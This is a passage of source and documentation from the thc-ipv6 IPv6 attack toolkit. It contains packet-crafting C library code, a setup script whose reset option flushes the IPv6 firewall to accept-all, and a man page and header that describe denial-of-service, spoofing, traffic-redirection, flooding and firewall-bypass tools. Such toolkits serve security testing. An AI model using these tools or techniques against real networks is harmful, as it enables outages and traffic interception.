(checksum == 0) { ihdr->checksum = DO_CHECKSUM; } else ihdr->checksum = checksum; if (data_len > 0 && data != NULL) ndp_opt_len = data_len; else ndp_opt_len = 0; hdr->length += 8; *pkt_len += 8; /* add various security features to ND message */ /* determine options' total length */ if (cga_hdr == NULL) return -1; ndp_opt_len += cga_hdr->len * 8; if ((timestamp_hdr = generate_timestamp()) == NULL) return -1; ndp_opt_len += timestamp_hdr->len * 8; if ((nonce_hdr = generate_nonce()) == NULL) { free(timestamp_hdr); return -1; } ndp_opt_len += nonce_hdr->len * 8; /* create options buffer */ if ((ndp_opt_buff = (char *)malloc(ndp_opt_len)) == NULL) { free(timestamp_hdr); free(nonce_hdr); return -1; } offset = 0; if (data != NULL) { memcpy(ndp_opt_buff + offset, data, data_len); offset += data_len; } /* CGA option */ memcpy(ndp_opt_buff + offset, cga_hdr, 29); memcpy(ndp_opt_buff + offset + 29, cga_hdr->pub_key, key->len); offset += (cga_hdr->len * 8); /* timestamp option */ memcpy(ndp_opt_buff + offset, timestamp_hdr, timestamp_hdr->len * 8); offset += timestamp_hdr->len * 8; free(timestamp_hdr); /* nonce option */ memcpy(ndp_opt_buff + offset, nonce_hdr, nonce_hdr->len * 8); offset += nonce_hdr->len * 8; free(nonce_hdr); /* RSA signature * If CGA message type tag given compute correct RSA signature * otherwise set option with incorrect one */ if (tag != NULL) { data2sign_len = 52 + ndp_opt_len; if ((data2sign = (char *)malloc(data2sign_len)) == NULL) { free(ndp_opt_buff); return -1; } memcpy(data2sign, tag, 16); memcpy(data2sign + 16, hdr->src, 16); memcpy(data2sign + 32, hdr->dst, 16); /* compute icmp checksum that is needed to compute rsa signature */ if ((buff = malloc(8 + ndp_opt_len)) == NULL) { free(data2sign); free(ndp_opt_buff); return -1; } memcpy(buff, ihdr, 8); memcpy(buff + 8, ndp_opt_buff, ndp_opt_len); ihdr->checksum = checksum_pseudo_header(hdr->src, hdr->dst, NXT_ICMP6, buff, 8 + ndp_opt_len); free(buff); memcpy(data2sign + 48, &ihdr->type, 4); ihdr->checksum = 0; memcpy(data2sign + 52, ndp_opt_buff, ndp_opt_len); } else data2sign_len = -1; if ((rsa_hdr = thc_generate_rsa(data2sign, data2sign_len, cga_hdr, key)) == NULL) { free(ndp_opt_buff); free(data2sign); return -1; } ihdr->data_len = ndp_opt_len + rsa_hdr->len * 8; free(data2sign); /* create 'real' buffer for NDP options */ if ((ihdr->data = (unsigned char *)malloc(ihdr->data_len)) == NULL) { free(ndp_opt_buff); free(rsa_hdr); return -1; } memcpy(ihdr->data, ndp_opt_buff, ndp_opt_len); free(ndp_opt_buff); /* RSA signature option */ memcpy(ihdr->data + ndp_opt_len, rsa_hdr, 20); memcpy(ihdr->data + ndp_opt_len + 20, rsa_hdr->sign, rsa_hdr->len * 8 - 20); hdr->length += ihdr->data_len; *pkt_len += ihdr->data_len; free(rsa_hdr); return 0; } #endif int thc_bind_udp_port(int port) { int on = 1, s; /* int fromlen, error; struct ipv6_mreq mreq6; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr;*/ struct addrinfo hints, *res; char pbuf[16]; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = IPPROTO_UDP; hints.ai_flags = AI_PASSIVE; snprintf(pbuf, sizeof(pbuf), "%d", port); if (getaddrinfo(NULL, pbuf, &hints, &res) < 0) return -1; if ((s = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) return -1; #ifdef SO_REUSEPORT setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &on, sizeof(on)); #endif #ifdef SO_REUSEADDR setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); #endif #ifdef IPV6_PKTINFO setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, &on, sizeof(on)); #else setsockopt(s, IPPROTO_IPV6, IPV6_RECVPKTINFO, &on, sizeof(on)); #endif #ifdef IPV6_V6ONLY setsockopt(s, IPPROTO_IPV6, IPV6_V6ONLY, &on, sizeof(on)); #endif if (bind(s, res->ai_addr, res->ai_addrlen) < 0) { close(s); return -1; } freeaddrinfo(res); return s; } int thc_bind_multicast_to_socket(int s, char *interface, char *src) { struct ipv6_mreq mreq6; if (src == NULL || interface == NULL || s < 0) return -1; memset(&mreq6, 0, sizeof(mreq6)); mreq6.ipv6mr_interface = if_nametoindex(interface); memcpy(&mreq6.ipv6mr_multiaddr, src, 16); if (setsockopt(s, IPPROTO_IPV6, IPV6_JOIN_GROUP, &mreq6, sizeof(mreq6)) < 0) return -1; return 0; } thc-ipv6-3.8/thc-ipv6-setup.sh000077500000000000000000000067661376121567700162170ustar00rootroot00000000000000#!/bin/bash ON=1 OK="" test "$1" = "on" && { shift ; } test "$1" = "enable" && { shift ; } test "$1" = "en" && { shift ; } test "$1" = "ea" && { shift ; } test "$1" = "off" && { ON=0 ; shift ; } test "$1" = "no" && { ON=0 ; shift ; } test "$1" = "non" && { ON=0 ; shift ; } test "$1" = "disable" && { ON=0 ; shift ; } test "$1" = "dis" && { ON=0 ; shift ; } test "$2" = "off" && { ON=0 ; shift ; } test "$2" = "no" && { ON=0 ; shift ; } test "$2" = "non" && { ON=0 ; shift ; } test "$2" = "disable" && { ON=0 ; shift ; } test "$2" = "dis" && { ON=0 ; shift ; } test "$1" = "-h" -o "$1" = "help" -o "$1" = "--help" -o -z "$1" && { echo "Syntax: $0 [no] command [options]" echo echo Available commands: echo "" ipv6 - enable ipv6 "(option: interface)" echo "" ra - "enables everything router advertisement (RA) (option: interface)" echo "" autoconf - perform autoconfiguration "(option: interface)" echo "" route - enables default route on RA "(option: interface)" echo "" dad - enable duplicate address detection "(option: interface)" echo "" privacy - enable the temporary address privacy extension "(option: interface)" echo "" forward - enables or disables forwarding echo "" redirfilter - sets ip6table to prevent sedning redirects "(option: interface)" echo "" src - enables or disables source routing and routing echo "" fwreset - reset the ipv6 firewalls echo echo prepend the keyword \"no\" to use reverse the function of the command OK=1 } test "$1" = "srcroute" -o "$1" = "sourceroute" -o "$1" = "src" && { for i in /proc/sys/net/ipv6/conf/*; do echo $ON > $i/accept_source_route echo $ON > $i/forwarding done OK=1 } test "$1" = "route" -o "$1" = "routing" -o "$1" = "forward" -o "$1" = "forwarding" && { for i in /proc/sys/net/ipv6/conf/*; do echo $ON > $i/forwarding done OK=1 } test "$1" = "dad" && { INT=$2 test -z "$2" && INT=all echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_dad echo $ON > /proc/sys/net/ipv6/conf/$INT/dad_transmits OK=1 } test "$1" = "redirfilter" -o "$1" = "redir" && { INT="" test -n "$2" && INT="-o $2" ip6tables -I OUTPUT $INT -p icmpv6 --icmpv6-type redirect -j DROP OK=1 } test "$1" = "autoconf" -o "$1" = "autoconfig" -o "$1" = "autoconfiguration" -o "$1" = "slaac" && { INT=$2 test -z "$2" && INT=all echo $ON > /proc/sys/net/ipv6/conf/$INT/autoconf OK=1 } test "$1" = "privacy" -o "$1" = "priv" -o "$1" = "tempaddr" -o "$1" = "tempaddress" && { INT=$2 test -z "$2" && INT=all echo $ON > /proc/sys/net/ipv6/conf/$INT/use_tempaddr OK=1 } test "$1" = "firewall" -o "$1" = "fwreset" -o "$1" = "resetfw" && { ip6tables -F ip6tables -X ip6tables -Z ip6tables -P INPUT ACCEPT ip6tables -P FORWARD ACCEPT ip6tables -P OUTPUT ACCEPT OK=1 } test "$1" = "route" -o "$1" = "routes" && { INT=$2 test -z "$2" && INT=all echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_defrtr OK=1 } test "$1" = "ra" && { INT=$2 test -z "$2" && INT=all echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_defrtr echo $ON > /proc/sys/net/ipv6/conf/$INT/accept_ra_pinfo echo $ON > /proc/sys/net/ipv6/conf/$INT/autoconf OK=1 } test "$1" = "ipv6" -o "$1" = "ip6" && { INT="$2" test -z "$2" && { INT=all test "$ON" = 0 && modprobe -v ipv6 test "$ON" = 1 && rmmod ipv6 } test "$ON" = 0 && RON=1 test "$ON" = 1 && RON=0 echo $RON > /proc/sys/net/ipv6/conf/$INT/disable_ipv6 OK=1 } test -z "$OK" && { echo Error: unknown command: $1 ; exit 1 ; } thc-ipv6-3.8/thc-ipv6.8000066400000000000000000000276741376121567700146140ustar00rootroot00000000000000.\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH THC-IPv6 8 ATTACK-TOOLKIT6 "Summer 2015" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .SH NAME The Hacker Choice's IPv6 Attack Toolkit (aka thc-ipv6) .SH SYNOPSIS .B tool [options] ... .TP .SH DESCRIPTION This manual page briefly documents each of the .B attack-toolkit6 tools. Not all options are listed here, to see the full list of options of each tool please invoke them with .B -h. .IP Note that on Debian (if you read this on Debian) command names are prefixed with .I atk6- , so for example the tool .B alive6 should be invoked as .I atk6-alive6. This is a Debian-only modification. .PP .TP .B address6 [ipv6-prefix] Converts a mac or ipv4 address to an ipv6 address (link local if no prefix is given as 2nd option) or, when given an ipv6 address, prints the mac or ipv4 address. Prints all possible variations. Returns \-1 on errors or the number of variations found. .TP .B alive6 [unicast-or-multicast-address [remote-router]] Shows alive addresses in the segment. If you specify a remote router, the packets are sent with a routing header prefixed by fragmentation. .TP .B covert_send6 [port] Sends the content of FILE covertly to the target. .TP .B covert_send6d Writes received covertly content to FILE. .TP .B denial6 Performs various denial of service attacks on a target. .TP .B detect_sniffer6 [target-ip] Tests if systems on the local LAN are sniffing. Works against Windows, Linux, OS/X and *BSD systems. .TP .B dnssecwalk [-e46] Performs DNSSEC NSEC walking. .TP .B dos_mld This tools prevents new ipv6 interfaces to come up, by sending answers to duplicate ip6 checks (DAD). This results in a DOS for new ipv6 devices. .TP .B dos-new-ip6 This tools prevents new ipv6 interfaces to come up, by sending answers to duplicate ip6 checks (DAD). This results in a DOS for new ipv6 devices. .TP .B detect-new-ip6 [scriptname] This tools detects new ipv6 addresses joining the local network. If scriptname is supplied, it is executed with the detected IPv6 address as option. .TP .B dnsdict6 [-t THREADS] [dictionary-file] Enumerates a domain for DNS entries, it uses a dictionary file if supplied or a built-in list otherwise. .TP .B dnsrevenum6 Performs a fast reverse DNS enumeration. .TP .B dump_router6 Dumps all local routers and their information. .TP .B dump_dhcp6 Dumps all DHCPv6 servers and their information .TP .B exploit6 [test-case-number] Performs exploits of various CVE known IPv6 vulnerabilities on the destination. .TP .B extract_hosts6 Prints the host parts of ipv6 addresses in file. .TP .B extract_networks6 Prints the networks found in file. .TP .B fake_advertise6 [target-address [own-mac-address]] Advertise ipv6 address on the network (with own mac if not defined) sending it to the all-nodes multicast address if no target specified. .TP .B fake_dhcps6 Fake DHCPv6 server. Used to configure an address and set a DNS server. .TP .B fake_dns6d Fake DNS server that serves the same IPv6 address to any lookup request. .TP .B fake_dnsupdate6 Send false DNS update requests. .TP .B fake_mipv6 If the mobile IPv6 home-agent is mis-configured to accept MIPV6 updates without IPSEC, this will redirect all packets for home-address to care-of-address. .TP .B fake_mld6 [[target-address] [[ttl] [[own-ip] [own-mac-address]]]] Advertise yourself in a multicast group of your choice. .TP .B fake_mld26 [-l] [multicast-address [target-address [ttl [own-ip [own-mac-address [destination-mac-address]]]]]] This uses the MLDv2 protocol. Only a subset of what the protocol is able to do is possible to implement via a command line. .TP .B fake_mldrouter6 [-l] [own-ip [own-mac-address]] Announce, delete or solicitate MLD router - yourself or others. .TP .B fake_pim6 [-t ttl] [-s src6] [-d dst6] { [dr_priority]|{join|prune} } The hello command takes optionally the DR priority (default: 0). .TP .B fake_router6 [mac-address] Announce yourself as a router and try to become the default router. If a non-existing mac-address is supplied, this results in a DOS. .TP .B fake_router26 Like .B fake_router6 with more options available. .TP .B fake_solicitate6 Solicits IPv6 address on the network, sending it to the all-nodes multicast address. .TP .B firewall6 [-u] [test-case-no] Performs various ACL bypass attempts to check implementations. Defaults to TCP ports, option \-u switches to UDP. For all test cases to work, ICMPv6 ping to the destination must be allowed. .TP .B flood_advertise6 Flood the local network with neighbor advertisements. .TP .B flood_dhcpc6 [domain-name] DHCP client flooder. Use to deplete the IP address pool a DHCP6 server is offering. Note: if the pool is very large, this is rather senseless. .TP .B flood_mld6 Flood the local network with MLD reports. .TP .B flood_mld26 Flood the local network with MLDv2 reports. .TP .B flood_mldrouter6 Flood the local network with MLD router advertisements. .TP .B flood_redir6 [-HFD] interface [target] [oldrouter [newrouter]] Flood a target with ICMPv6 redirects .TP .B flood_router6 Flood the local network with router advertisements. .TP .B flood_router26 Similar to .B flood_router6 but with more options available. .TP .B flood_rs6 [-sS] interface [target] Flood a network with ICMPv6 router solicitation messages .TP .B flood_solicitate6 [target-ip] Flood the network with neighbor solicitations. .TP .B four2six [-FHD] [-s src6] interface ipv6-to-ipv4-gateway ipv4-src ipv4-dst [port] Send (spoofed) packets over a 4to6 tunnel (IPv4 packets over IPv6 networks) .TP .B fragmentation6 Performs fragment firewall and implementation checks, including denial-of-service. .TP .B fuzz_ip6 [-x] [-t number | -T number] [-p number] [-IFSDHRJ] [-1|-2|-3|-4|-5|-6|-7] [address-in-data-pkt] Fuzzes an icmp6 packet. .TP .B fuzz_dhcps6 [-t number | -T number] [-e number | -T number] [-p number] [-md] [-1|-2|-3|-4|-5|-6|-7|-8] interface [domain-name] Fuzzes a DHCPv6 server on specified packet types. .B implementation6 [test-case-number] Performs some ipv6 implementation checks, can be used to test firewalls too. .TP .B implementation6d Identifies test packets by the implementation6 tool, useful to check what packets passed a firewall. .TP .B inject_alive6 [-ap] This tool answers to keep-alive requests on PPPoE and 6in4 tunnels; for PPPoE\nit also sends keep-alive requests. Note that the appropriate environment variable THC_IPV6_{PPPOE|6IN4} must be set. Option \-a will actively send alive requests every 15 seconds. Option \-p will not send replies to alive requests. .TP .B inverse_lookup6 Performs an inverse address query, to get the IPv6 addresses that are assigned to a MAC address. Note that only few systems support this yet. .TP .B kill_router6 Announce that target router is going down to delete it from the routing tables. If you supply a '*' as target-ip, this tool will sniff the network for RAs and immediately send the kill packet. .TP .B ndpexhaust26 [-acpPTUrR] [-s sourceip6] Flood the target /64 network with ICMPv6 TooBig error messages. This tool version is manyfold more effective than ndpexhaust6. \-a add a hop-by-hop header with router alert. \-c do not calculate the checksum to save time. \-p send ICMPv6 Echo Requests. \-P send ICMPv6 Echo Reply. \-T send ICMPv6 Time-to-live-exceeded. \-U send ICMPv6 Unreachable (no route). \-r randomize the source from your /64 prefix. \-R randomize the source fully. \-s sourceip6 use this as source ipv6 address. .TP .B ndpexhaust6 Randomly pings IPs in target network. .TP .B node_query6 Sends an ICMPv6 node query request to the target and dumps the replies. .TP .B parasite6 [fake-mac] This is an "ARP spoofer" for IPv6, redirecting all local traffic to your own system (or nirvana if fake-mac does not exist) by answering falsely to Neighbor Solicitation requests, specifying FAKE-MAC results in a local DOS. .TP .B passive_discovery6 [scriptname] Passively sniffs the network and dump all client's IPv6 addresses detected. If scriptname is supplied, it is called with the detected IPv6 address as first and the interface as second parameters. .TP .B randicmp6 Sends all ICMPv6 type and code combinations to target. .TP .B redir6 [new-router-mac] Implant a route into src-ip, which redirects all traffic to target-ip to new-ip. You must know the router which would handle the route. If the new-router-mac does not exist, this results in a DOS. .TP .B redirsniff6 [ [new-router-mac]] Implant a route into victim-ip, which redirects all traffic to destination-ip to new-router. You must know the router which would handle the route. If the new-router and new-router-mac does not exist, this results in a DoS. .TP .B rsmurf6 Smurfs the local network of the victim. Note: this depends on an implementation error, currently only verified on Linux (fixed in current versions). Evil: "ff02::1" as victim will DOS your local LAN completely. .TP .B smurf6 [multicast-network-address] Smurf the target with ICMPv6 echo replies. Target of echo request is the local all-nodes multicast address if not specified. .TP .B sendpees6 Send SEND neighbor solicitation messages and make target to verify a lota CGA and RSA signatures. .TP .B sendpeesmp6 Multithreaded version of .B sendpees6. .TP .B trace6 [-d] targetaddress [port] A basic but very fast traceroute6 program. .TP .B thcping6 Craft your special ICMPv6 echo request packet. .TP .B thcsyn6 [-AcDrRS] [-p port] [-s source-ip6] Flood the target port with TCP-SYN packets. If you supply "x" as port, it is randomized. .TP .B toobig6 Implants the specified mtu on the target .SH SEE ALSO .BR nmap (1), .BR amap (1), .BR dsniff (8). .SH AUTHOR thc-ipv6 was written by van Hauser / THC .PP The homepage for this toolkit is: https://github.com/vanhauser-thc/thc-ipv6 .PP This manual page was written by Maykel Moya and Arturo Borrero Gonzalez , for the Debian project (but may be used by others). It's based on previous work by Michael Gebetsroither . thc-ipv6-3.8/thc-ipv6.h000066400000000000000000000373171376121567700146670ustar00rootroot00000000000000/* * (c) 2020 by van Hauser / THC * * THC IPv6 Attack Library Header Files * * License: AGPL v3.0 (see LICENSE file) * */ #ifndef _THC_IPV6_H #define _THC_IPV6_H #include #include #ifdef _HAVE_SSL #include #endif #define VERSION "3.8" #define AUTHOR "van Hauser / THC " #define RESOURCE "www.github.com/vanhauser-thc/thc-ipv6" #define THC_SPLITCONNECT_PORT 64446 #define THC_SPLITCONNECT_FROM_BYTE 0xff #define THC_SPLITCONNECT_TO_BYTE 0xee // you can change the following if you want to: #define SHOW_LIBRARY_ERRORS 1 //#define MULTICAST_ALL_NODES #define ICMP6_UNREACH 1 #define ICMP6_TOOBIG 2 #define ICMP6_TTLEXEED 3 #define ICMP6_PARAMPROB 4 #define ICMP6_PING 128 #define ICMP6_PONG 129 #define ICMP6_PINGREQUEST 128 #define ICMP6_PINGREPLY 129 #define ICMP6_ECHOREQUEST 128 #define ICMP6_ECHOREPLY 129 #define ICMP6_MLD_QUERY 130 #define ICMP6_MLD_REPORT 131 #define ICMP6_MLD_DONE 132 #define ICMP6_ROUTERSOL 133 #define ICMP6_ROUTERADV 134 #define ICMP6_NEIGHBORSOL 135 #define ICMP6_NEIGHBORADV 136 #define ICMP6_REDIR 137 #define ICMP6_INFOREQUEST 139 #define ICMP6_NODEQUERY 139 #define ICMP6_INFOREPLY 140 #define ICMP6_NODEREPLY 140 #define ICMP6_INVNEIGHBORSOL 141 #define ICMP6_INVNEIGHBORADV 142 #define ICMP6_MLD2_REPORT 143 #define ICMP6_MOBILE_PREFIXSOL 146 #define ICMP6_MOBILE_PREFIXADV 147 #define ICMP6_CERTPATHSOL 148 #define ICMP6_CERTPATHADV 149 #define ICMP6_MLD_ROUTERADV 151 #define ICMP6_MLD_ROUTERSOL 152 #define ICMP6_MLD_ROUTERTERMINATION 153 #define ICMP6_ROUTERPROXYSOL 154 #define ICMP6_ROUTERPROXYADV 155 #define ICMP6_NEIGHBORADV_ROUTER 0x080000000 #define ICMP6_NEIGHBORADV_SOLICIT 0x040000000 #define ICMP6_NEIGHBORADV_OVERRIDE 0x020000000 #define PREFER_HOST 16 #define PREFER_LINK 32 #define PREFER_GLOBAL 0 #if __BYTE_ORDER == __LITTLE_ENDIAN #define _TAKE4 0 #define _TAKE3 0 #define _TAKE2 0 #elif __BYTE_ORDER == __BIG_ENDIAN #define _TAKE4 (sizeof(void *) - 4) #define _TAKE3 (sizeof(void *) - 3) #define _TAKE2 (sizeof(void *) - 2) #else #error "Unknown Byte Order!" #endif extern int debug; extern int _thc_ipv6_showerrors; extern int do_hdr_size; extern void thc_ipv6_show_errors(int mode); extern int thc_pcap_function(char *interface, char *capture, char *function, int promisc, char *opt); extern pcap_t *thc_pcap_init(char *interface, char *capture); extern pcap_t *thc_pcap_init_promisc(char *interface, unsigned char *capture); extern void thc_ipv6_rawmode(int mode); extern int thc_pcap_check(pcap_t *p, char *function, char *opt); extern char * thc_pcap_close(pcap_t *p); extern unsigned char *thc_resolve6(char *target); extern unsigned char *thc_lookup_ipv6_mac(char *interface, unsigned char *dst); extern unsigned char *thc_get_own_mac(char *interface); extern int thc_get_mtu(char *interface); extern unsigned char *thc_get_own_ipv6(char *interface, unsigned char *dst, int prefer); extern unsigned char *thc_get_multicast_mac(unsigned char *dst); extern unsigned char *thc_get_mac(char *interface, unsigned char *src, unsigned char *dst); extern unsigned char *thc_inverse_packet(unsigned char *pkt, int pkt_len); extern int thc_ping6(char *interface, unsigned char *src, unsigned char *dst, int size, int count); extern int thc_ping26(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *src, unsigned char *dst, int size, int count); extern int thc_neighboradv6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac, unsigned int flags, unsigned char *target); extern int thc_neighborsol6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *target, unsigned char *srcmac, unsigned char *dstmac); extern int thc_routeradv6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char default_ttl, int managed, unsigned char *prefix, int prefixlen, int mtu, unsigned int lifetime); extern int thc_routersol6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac); extern int thc_toobig6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned int mtu, unsigned char *pkt, int pkt_len); extern int thc_paramprob6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char code, unsigned int pointer, unsigned char *pkt, int pkt_len); extern int thc_unreach6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char code, unsigned char *pkt, int pkt_len); extern int thc_redir6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char *newrouter, unsigned char *newroutermac, unsigned char *pkt, int pkt_len); extern int thc_send_as_fragment6(char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len); extern int thc_send_raguard_bypass6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac, unsigned char type, unsigned char *data, int data_len, int mtu); extern int thc_send_as_overlapping_first_fragment6( char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len, int overlap_spoof_type); extern int thc_send_as_overlapping_last_fragment6( char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len, int overlap_spoof_type); extern unsigned char *thc_create_ipv6(char *interface, int *pkt_len, unsigned char *src, unsigned char *dst); extern unsigned char *thc_create_ipv6_extended(char *interface, int prefer, int *pkt_len, unsigned char *src, unsigned char *dst, int ttl, int length, int label, int class, int version); extern int thc_add_hdr_misc(unsigned char *pkt, int *pkt_len, unsigned char type, int len, unsigned char *buf, int buflen); extern int thc_add_hdr_route(unsigned char *pkt, int *pkt_len, unsigned char **routers, unsigned char routerptr); extern int thc_add_hdr_mobileroute(unsigned char *pkt, int *pkt_len, unsigned char *dst); extern int thc_add_hdr_oneshotfragment(unsigned char *pkt, int *pkt_len, unsigned int id); extern int thc_add_hdr_fragment(unsigned char *pkt, int *pkt_len, int offset, char more_frags, unsigned int id); extern int thc_add_hdr_dst(unsigned char *pkt, int *pkt_len, unsigned char *buf, int buflen); extern int thc_add_hdr_hopbyhop(unsigned char *pkt, int *pkt_len, unsigned char *buf, int buflen); extern int thc_add_hdr_nonxt(unsigned char *pkt, int *pkt_len, int hdropt); extern int thc_add_icmp6(unsigned char *pkt, int *pkt_len, int type, int code, unsigned int flags, unsigned char *data, int data_len, int checksum); extern int thc_add_pim(unsigned char *pkt, int *pkt_len, unsigned char type, unsigned char *data, int data_len); extern int thc_add_tcp(unsigned char *pkt, int *pkt_len, unsigned short int sport, unsigned short int dport, unsigned int sequence, unsigned int ack, unsigned char flags, unsigned short int window, unsigned short int urgent, char *option, int option_len, char *data, int data_len); extern int thc_add_udp(unsigned char *pkt, int *pkt_len, unsigned short int sport, unsigned short int dport, unsigned int checksum, char *data, int data_len); extern int thc_add_ipv4(unsigned char *pkt, int *pkt_len, int src, int dst); extern int thc_add_ipv4_extended(unsigned char *pkt, int *pkt_len, int src, int dst, unsigned char tos, int id, unsigned char ttl); extern int thc_add_ipv4_rudimentary(unsigned char *pkt, int *pkt_len, int src, int dst, int sport, int port); extern int thc_add_data6(unsigned char *pkt, int *pkt_len, unsigned char type, unsigned char *data, int data_len); extern int thc_generate_and_send_pkt(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *pkt, int *pkt_len); extern int thc_generate_pkt(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *pkt, int *pkt_len); extern int thc_send_pkt(char *interface, unsigned char *pkt, int *pkt_len); extern unsigned char *thc_destroy_packet(unsigned char *pkt); extern int thc_open_ipv6(); extern int thc_is_dst_local(char *interface, unsigned char *dst); extern int checksum_pseudo_header(unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int length); extern int calculate_checksum(unsigned char *data, int data_len); extern void thc_dump_data(unsigned char *buf, int len, char *text); extern unsigned char *thc_ipv62string(unsigned char *ipv6); extern unsigned char *thc_string2ipv6(unsigned char *string); extern unsigned char *thc_string2notation(unsigned char *string); extern unsigned char *thc_ipv62notation(unsigned char *string); extern unsigned char *thc_memstr(char *haystack, char *needle, int haystack_length, int needle_length); extern void thc_notation2beauty(unsigned char *ipv6); extern int thc_bind_udp_port(int port); extern int thc_bind_multicast_to_socket(int s, char *interface, char *src); extern char *warlord_checkFingerprint(char *buffer, int len); #define DO_CHECKSUM 0xfaf4 #define NXT_IP6 41 #define NXT_IPV6 41 #define NXT_INVALID 128 #define NXT_IGNORE 31 #define NXT_HDR 0 #define NXT_HOP 0 #define NXT_HBH 0 #define NXT_ROUTE 43 #define NXT_FRAG 44 #define NXT_NONXT 59 #define NXT_OPTS 60 #define NXT_DST 60 #define NXT_ESP 50 #define NXT_AH 51 #define NXT_MIPV6 135 #define NXT_MOBILITY 135 #define NXT_PIM 103 #define NXT_ICMP6 58 #define NXT_TCP 6 #define NXT_UDP 17 #define NXT_DATA 255 #define NXT_HOSTID 139 #define NXT_HOSTIDENTIFICATION 139 #define NXT_SHIM 140 #define NXT_SHIM6 140 #define NXT_IP4 4 #define NXT_IPV4 4 #define NXT_IP4_RUDIMENTARY 0xf4 #define NXT_IPV4_RUDIMENTARY 0xf4 #define NXT_IPIP 4 #define NXT_ICMP4 1 #define IPV6_FRAME_TYPE 0x86dd #define TCP_CWR 128 #define TCP_ECN 64 #define TCP_URG 32 #define TCP_ACK 16 #define TCP_PSH 8 #define TCP_RST 4 #define TCP_SYN 2 #define TCP_FIN 1 typedef struct { unsigned char dst[6]; unsigned char src[6]; unsigned int type : 16; } thc_ethernet; typedef struct { unsigned char *pkt; int pkt_len; char * next_segment; char * final; int final_type; unsigned int version; // :4; unsigned char class; unsigned int label; // :20; unsigned int length; // :16; unsigned char next; unsigned char ttl; unsigned char src[16]; unsigned char dst[16]; unsigned char *final_dst; unsigned char *original_src; } thc_ipv6_hdr; typedef struct { char * next_segment; unsigned char next; unsigned char length; unsigned char *data; int data_len; } thc_ipv6_ext_hdr; typedef struct { unsigned char type; unsigned char code; unsigned int checksum : 16; unsigned int flags; unsigned char *data; int data_len; } thc_icmp6_hdr; typedef struct { unsigned short int sport; unsigned short int dport; unsigned int sequence; unsigned int ack; unsigned char length; unsigned char flags; unsigned short int window; unsigned short int checksum; unsigned short int urgent; unsigned char * option; int option_len; unsigned char * data; int data_len; } thc_tcp_hdr; typedef struct { unsigned short int sport; unsigned short int dport; unsigned short int length; unsigned short int checksum; unsigned char * data; int data_len; } thc_udp_hdr; typedef struct { unsigned char ver_hlen; unsigned char tos; unsigned short int size; unsigned short int id; unsigned short int frag; unsigned char ttl; unsigned char proto; unsigned short int checksum; unsigned int src; unsigned int dst; } thc_ipv4_hdr; typedef struct { char *next_segment; char dummy[8]; } thc_dummy_hdr; /* typedef struct { unsigned int nlmsg_len; unsigned short nlmsg_type; unsigned short nlmsg_flags; unsigned int nlmsg_seq; unsigned int nlmsg_pid; } nlmsghdr; typedef struct { unsigned char rtgen_family; } rtgenmsg; typedef struct { nlmsghdr nlh; rtgenmsg g; } neigh_req; typedef struct { unsigned short nl_family; unsigned short nl_pad; unsigned int nl_pid; unsigned int nl_groups; } sockaddr_nl; */ #ifdef _HAVE_SSL typedef struct { unsigned char type; unsigned char len; unsigned char pad_len; unsigned char resv; /* cga params */ unsigned char modifier[16]; unsigned char prefix[8]; unsigned char collision_cnt; unsigned char coll2; unsigned char *pub_key; unsigned char *exts; /* end of cga params */ unsigned char *pad; } thc_cga_hdr; typedef struct { unsigned char type; unsigned char len; unsigned char resv[6]; unsigned long long timeval; } thc_timestamp_hdr; typedef struct { unsigned char type; unsigned char len; char nonce[6]; } thc_nonce_hdr; typedef struct { unsigned char type; unsigned char len; short int resv; unsigned char key_hash[16]; char * sign; char * pad; } thc_rsa_hdr; typedef struct { RSA *rsa; int len; } thc_key_t; typedef struct { unsigned char *data; /* DER-encoded key length */ int len; } opt_t; extern thc_key_t * thc_generate_key(int key_len); extern thc_cga_hdr *thc_generate_cga(unsigned char *prefix, thc_key_t *key, unsigned char **cga); extern int thc_add_send(unsigned char *pkt, int *pkt_len, int type, int code, unsigned int flags, unsigned char *data, int data_len, thc_cga_hdr *cga_hdr, thc_key_t *key, unsigned char *tag, int checksum); #endif #endif thc-ipv6-3.8/thcping6.c000066400000000000000000000546001376121567700147360ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" struct timespec ts, ts2; int dlen = -1, port = 0, done = 0, resp_type = -1, type = NXT_ICMP6, fastopen = 0, client = 0, waitms = 